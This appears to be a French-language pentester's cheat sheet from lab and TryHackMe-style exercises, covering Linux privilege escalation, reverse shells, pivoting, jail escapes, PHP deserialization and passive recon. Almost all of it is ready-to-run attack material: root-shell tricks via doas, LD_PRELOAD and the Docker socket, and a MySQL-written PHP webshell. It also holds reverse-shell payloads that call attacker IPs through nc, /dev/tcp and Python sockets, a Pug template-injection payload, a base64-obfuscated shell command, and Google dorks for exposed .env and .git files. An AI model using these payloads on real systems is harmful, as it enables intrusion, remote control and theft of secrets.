Notes ›

🧰 Priv escalation & Tools

Élévation Linux, reverse shells, pivoting, jails, désérialisation et boîte à outils du pentester.

Priv escalation & Tools

Élévation de privilèges Linux, reverse shells, tunneling et outillage (données de lab).

Linux PrivEsc

doas

# conf: /usr/local/etc/doas.conf ou /etc/doas.conf
doas -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/d

Docker socket / group

# Contacter un daemon Docker exposé
DOCKER_HOST=tcp://$TARGET_IP:2375 docker image ls
DOCKER_HOST=tcp://$TARGET_IP:2375 docker run -it -v /:/mnt/host alpine:3.9 /bin/sh
cd /mnt/host/root

exiftool (DjVu)

Créer une charge dans un fichier exploit, la compresser (bzz), générer un .djvu (djvumake ... ANTz=exploit.bzz), puis :

sudo /usr/local/bin/exiftool exploit.djvu

jar (sudo java)

msfvenom -p java/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f jar -o shell.jar
sudo /usr/bin/java -jar /tmp/shell.jar

LD_PRELOAD

#include <stdio.h>
#include <stdlib.h>
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); }
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so find

MySQL (INTO OUTFILE → webshell)

select <?php $cmd=$_GET["cmd"];system($cmd);?> INTO OUTFILE '/var/www/html/shell.php';

tar wildcard injection

echo -e '#!/bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.9.76.49 1234 >/tmp/f' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Tools

LinPEAS, LinEnum, LES (Linux Exploit Suggester), Linux Smart Enumeration, Linux Priv Checker.

Reverse shells

Python

import socket, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.4.34.126", 8999))
dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2)
pty.spawn("/bin/bash")

Depuis un module Python

from os import dup2
from subprocess import run
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LOCAL_IP", 1234))
dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2)
run(["/bin/bash","-i"])

SSTI PUG

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('bash -c "sh -i >& /dev/tcp/10.8.8.52/1337 0>&1"')}()}

Upgrade shell (TTY)

SHELL=/bin/bash script -q /dev/null
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z ; stty raw -echo && fg ; reset

Pivoting (rpivot)

git clone https://github.com/klsecservices/rpivot.git
# Attaquant
python2 server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
# Machine initiale
python client.py --server-ip 10.10.200.x --server-port 9999
# /etc/proxychains.conf : socks4 127.0.0.1 1080

Port knocking

#!/bin/bash
for p in 42 1337 10420 6969 63000; do curl 10.10.44.92:$p -m 1; sleep 1; done

Python jail escape

__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash')

Insecure deserialization (PHP)

<?php class MaliciousUserData {
  public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
  public function __wakeup() { exec($this->command); } }
$data = base64_encode(serialize(new MaliciousUserData()));
echo $data;

Bypass command line (obfuscation)

echo "echo $(echo 'bash -i >& /dev/tcp/10.9.76.49/4444 0>&1' | base64 | base64)ba''se''6''4 -''dba''se''64 -''db''a''s''h" | sed 's/ /$/g'

John the Ripper

gpg2john tryhackme.asc > tryhackme.asc.john
john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme.asc.john
# Règles custom, ex: john -wordlist:base.txt -rules:TryHackMe-Intranet -stdout > wordlist.txt

TLS

openssl s_client -connect www-preprod.pulsy.fr:8443 -servername www-preprod.pulsy.fr

Wayback / recon passif

  • WaybackPDF (télécharge les PDF archivés), Wayhunt (classe les URLs par extension), urlfinder (projectdiscovery).

Google Dorks (extraits)

intitle:"index of" site:target.com
filetype:env inurl:.env site:target.com
inurl:"/.git/config" site:target.com
intext:"api_key" filetype:env site:target.com
filetype:bak inurl:backup site:target.com

Boîte à outils (TOOLS)

theHarvester, h8mail, FOCA, httpx, EyeWitness, Gophish + EvilNginx, dnscan, Feroxbuster, Gospider, ParamSpider, nuclei, tun2socks, bettercap, Responder, Coercer, ntlmrelayx, mitm6, Certipy, GetUserSPNs, GetNPUsers, CrackMapExec/NetExec, manspider, DonPAPI, xfreerdp, Pantagrule, psudo, ExtractBitlockerKeys, Hekatomb, pwndoc-ng.